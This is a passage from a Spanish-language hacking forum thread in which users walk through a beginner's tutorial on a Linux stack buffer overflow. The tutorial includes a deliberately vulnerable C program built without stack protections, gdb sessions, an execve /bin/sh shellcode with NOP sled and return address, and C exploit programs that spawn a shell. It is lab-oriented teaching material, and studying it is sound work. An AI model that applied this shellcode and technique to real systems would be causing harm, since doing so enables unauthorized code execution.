elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: (TUTORIAL) Aprende a emular Sentinel Dongle By Yapis


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 2 [3] Ir Abajo Respuesta Imprimir
Autor Tema: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]  (Leído 13,903 veces)
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]
« Respuesta #20 en: 14 Febrero 2011, 12:30 pm »

Claro, es que no estoy poniendo tres ases más...
No sabes que al ejecutar el ret se saca de la pila la dirección que tienes que volver? Por eso al ejecutar el ret todo está cuatro bytes menos...
Te cito de mi blog:
---------------------------------------------------------------------------------------------------------
Bueno, tras un ratillo erre que erre golpeándome he conseguido ejecutar una shellcode. Os explico:
Primero he calculado cuantos nops (0x90, el procesador no hace nada) le tengo que meter a la cadena. Luego, he escrito mi shellcode, y finalmente he calculado la dirección de regreso.
Calculemos: Tenemos 36 bytes, pero para cambiar la ejecución del programa hacen falta 44. Así que...
44 - 4 (dirección de regreso) = 40. Mi shellcode mide 25 pbytes...
40 - 25 (shellcode) = 15. En este hueco irá relleno.
Así que la estructura sería...
15 Nops (\x90) + 25 Shellcode + 4 Ret.
Escribimos:
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) r $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln AAA

Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904:    0x00000000
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')

Breakpoint 1, vuln (
    buff=0xbffffb36 '\220' <repeats 15 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff95b in ?? ()
(gdb) ¿Error? Pues sí. No nos hemos dado cuenta de que al volver se restan 4 bytes...
(gdb) r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')

Breakpoint 1, vuln (
    buff=0xbffffb3a '\220' <repeats 11 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) c
Continuing.
Executing new program: /bin/dash
(no debugging symbols found)
Error in re-setting breakpoint 1: Function "vuln" not defined.
(no debugging symbols found)
(no debugging symbols found)
$
Ahora escribimos el exploit...
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main ()
{
    char nops [11];
    memset (nops, '\x90', 11);
    char shellcode [26] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
    char ret [5] = "\x04\xf9\xff\xbf";

    char command [47];
    strcpy (command, "./vuln ");
    strcat (command, nops);
    strcat (command, shellcode);
    strcat (command, ret);
    system (command);
}
juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c
juanra@Juanra:~/Escritorio/Shell$ ./exploit
$

¡Bueno, lo hemos conseguido! ¡Hemos escrito nuestro primer exploit con shellcode en un entorno linux!

PD: Sé que no me explico nada bien, todas las dudas...
PD2: Habrá más entregas ;D

Un saludo! Os espero.
Sagrini
---------------------------------------------------------------------------------------------------------
Y primera parte
---------------------------------------------------------------------------------------------------------
Vale, esta entrega va a ir sobre cómo aprovechar un BoF para controlar un programa. Es bastante sencillo...

Primero escribimos un programa típicamente vulnerable.
#include <stdio.h>
#include <string.h>

int vuln (char *buff)
{
    char buffer [36];
    strcpy (buffer, buff);
}

int main (int argc, char *argv [])
{
    vuln (argv [1]);
}

Compilamos y ejecutamos:
juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack
juanra@Juanra:~/Escritorio/Shell$ ./vuln AAA
juanra@Juanra:~/Escritorio/Shell$

Como vemos no pasa nada... Si nos fijamos bien en "buffer" sólo caben 36 letras. ¿Y si le metemos más? Pues que el programa se sale...
juanra@Juanra:~/Escritorio/Shell$ ./vuln $(perl -e 'print "A"x50')
Fallo de segmentación
juanra@Juanra:~/Escritorio/Shell$
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) r $(perl -e 'print "A"x50')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "A"x50')
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) r $(perl -e 'print "A"x40 . "BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "A"x40 . "BBBB"')
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

Pues como vemos las As y las Bs "mueven" el flujo del programa. Entonces... ¿Podemos controlar un programa? Pues sí. Cambiemos el código:
#include <stdio.h>
#include <string.h>

int vuln (char *buff)
{
    char buffer [36];
    strcpy (buffer, buff);
}

int main (int argc, char *argv [])
{
    vuln (argv [1]);
}

int feo ()
{
    printf ("Eres feo!!!");
    exit (0);
}


juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack
juanra@Juanra:~/Escritorio/Shell$ ./vuln AAA
juanra@Juanra:~/Escritorio/Shell$
Sigue sin pasar nada. Feo nunca se ejecuta :-o. Pero como somos malévolos...

(gdb) x/x feo
0x8048468 <feo>:    0x83e58955
(gdb) r $(perl -e 'print "A"x40 . "\x68\x84\x04\x08"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "A"x40 . "\x68\x84\x04\x08"')

Breakpoint 1, 0x0804842a in vuln ()
(gdb) c
Continuing.
Eres feo!!!
Program exited normally.
(gdb)
El programa va hacia la función feo y se ejecuta...

Ahora, explicación...

Algunos programas no controlan que los datos que le introduces sean los adecuados. Esto supone que el programa pueda fallar. Si yo le meto 40 ases a un sitio donde caben 36, falla. Pero si le meto 4 más sobreescribo un registro del ordenador que controla la próxima instrucción a ejecutar. Esto hace que podamos controlar el programa.

En la prueba buscamos la dirección de la función "feo" que te dice "Eres feo!!!" y cierra el programa. Esto se consigue con un br (break) vuln, que para el programa en el punto "vuln" y nos dice la dirección del punto de parada. Sobreescribimos con Perl esta dirección... "Eres feo!!!"

Ahora escribamos un exploit...
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main ()
{
    char nops [40];
    memset (nops, 'A', 40);
    char ret [5] = "\x68\x84\x04\x08";

    char command [51];
    strcpy (command, "./vuln ");
    strcat (command, nops);
    strcat (command, ret);
    system (command);
}
juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c
juanra@Juanra:~/Escritorio/Shell$ ./exploit
Eres feo!!!juanra@Juanra:~/Escritorio/Shell$

Vale, ahora os explico: El programa lo único que hace es introducir 40 ases y la dirección de "feo" en una variable y ejecutar el programa. Con este sencillo método hemos aprendido a explotar una parte de los fallos más comunes...
Os espero en las entregas venideras...
Un saludo!
Sagrini
---------------------------------------------------------------------------------------------------------

Escríbeme por PM las dudas...
Suerte!
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]
« Respuesta #21 en: 14 Febrero 2011, 17:21 pm »

Hola!!
¿Puedes poner el disass de tu main? Además, para ver como se hace la copia de "buff" a la variable "buffer", pon un breakpoint dentro de la función "vuln" antes y después de la llamada a strcpy haciendo "x/100x $esp".

Saludos
« Última modificación: 14 Febrero 2011, 20:42 pm por M3st4ng » En línea

Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]
« Respuesta #22 en: 16 Febrero 2011, 19:44 pm »

Vale, creo que ya lo hemos solucionado. Verdad, Belial & Grimoire?
@M3st4ng, no sé de qué te sirve. Si sigues teniendo dudas, escríbeme. Si no, pásate por mi blog.
Ahora, cosa aparte, releo tu mensaje... No queremos ver cómo se copia. Sencillamente queremos hacer que funcione en su máquina :P

Para saber vuestra dirección de retorno...
Código:
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
Starting program: /home/juanra/Escritorio/Shell/vuln AAA

Breakpoint 1, vuln (buff=0xbffffb60 "AAA") at vuln.c:8
8 strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904: 0x00000000
(gdb) q
The program is running.  Exit anyway? (y or n) y
juanra@Juanra:~/Escritorio/Shell$

Para ejecutar el exploit desde la línea de comandos:
Código:
juanra@Juanra:~/Escritorio/Shell$ ./vuln $(perl -e 'print "\x90"x11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
$ ls
exploit  exploit.c  shell  shell.s  vuln  vuln.c
$ whoami
juanra
$ exit
juanra@Juanra:~/Escritorio/Shell$

Exploit en C:
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main ()
  6. {
  7. char nops [11];
  8. memset (nops, '\x90', 11);
  9. char shellcode [26] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  10. char ret [5] = "\x04\xf9\xff\xbf";
  11.  
  12. char command [47];
  13. strcpy (command, "./vuln ");
  14. strcat (command, nops);
  15. strcat (command, shellcode);
  16. strcat (command, ret);
  17. system (command);
  18. }
  19.  
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]
« Respuesta #23 en: 16 Febrero 2011, 23:40 pm »

Hola!!
Los datos que pedía era para ver cómo se estaba sobreescribiendo todos los valores hasta llegar a la dirección de RET en la pila. Lo mejor es poner un breakpoint justo despues de la la función strcpy y ver el estado de la pila, así podremos comprobar qué se ha sobreescrito y con qué valores.
Asi se queda mi pila una vez que se ejecuta strcpy.
Código:
0xbffff5d4:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5e4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5f4:    0x90909090 0x90909090 0x90909090 0x90909090
0xbffff604: 0x90909090 0xeb909090 0x76895e1f 0x88c03108
0xbffff614: 0x46890746 0x890bb00c 0x084e8df3 0xcd0c568d
0xbffff624: 0x89db3180 0x80cd40d8 0xffffdce8    0x69622fff
0xbffff634: 0x68732f6e 0xbffff5e6         0xbffff5e6          0xbffff5e6
0xbffff644: 0xbffff5e6           0xbffff5e6 0xbffff5e6        0xbffff5e6
0xbffff654: 0xbffff5e6         0xbffff5e6         0xbffff5e6

En valor que esta en la dirección 0xbffff658 es el RET y contiene una direccion que apunta a los NOPS

Saludos
En línea

Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]
« Respuesta #24 en: 16 Febrero 2011, 23:51 pm »

Wow, mucho mejor explicado que lo mio! El detalle habría sido continuar el programa ;)
Muchas gracias! Ahora mismo estoy escribiendo el punto 2 del taller (el uno va por parte de Iván xD) y voy a añadirlo para que se vea mejor...
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Páginas: 1 2 [3] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Tutorial] Introducion a los sockets en Ansi C : By Sagrini 2010
Programación C/C++
Garfield07 8 7,541 Último mensaje 19 Enero 2011, 19:50 pm
por Garfield07
[Texto] Atacando ASLR : By Sagrini 2012
Bugs y Exploits
Sagrini 1 3,130 Último mensaje 10 Marzo 2012, 02:09 am
por farresito
ayuda . textos de sagrini
Bugs y Exploits
afdlkglfgfdgfhgf 2 5,285 Último mensaje 10 Julio 2012, 00:49 am
por cirano045
elhacker linux « 1 2 »
GNU/Linux
samyforse3 15 7,390 Último mensaje 7 Marzo 2014, 13:20 pm
por Edusoner
Mass mailer attack, Kali Linux
GNU/Linux
acpesp666 2 2,654 Último mensaje 26 Agosto 2017, 01:48 am
por acpesp666
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines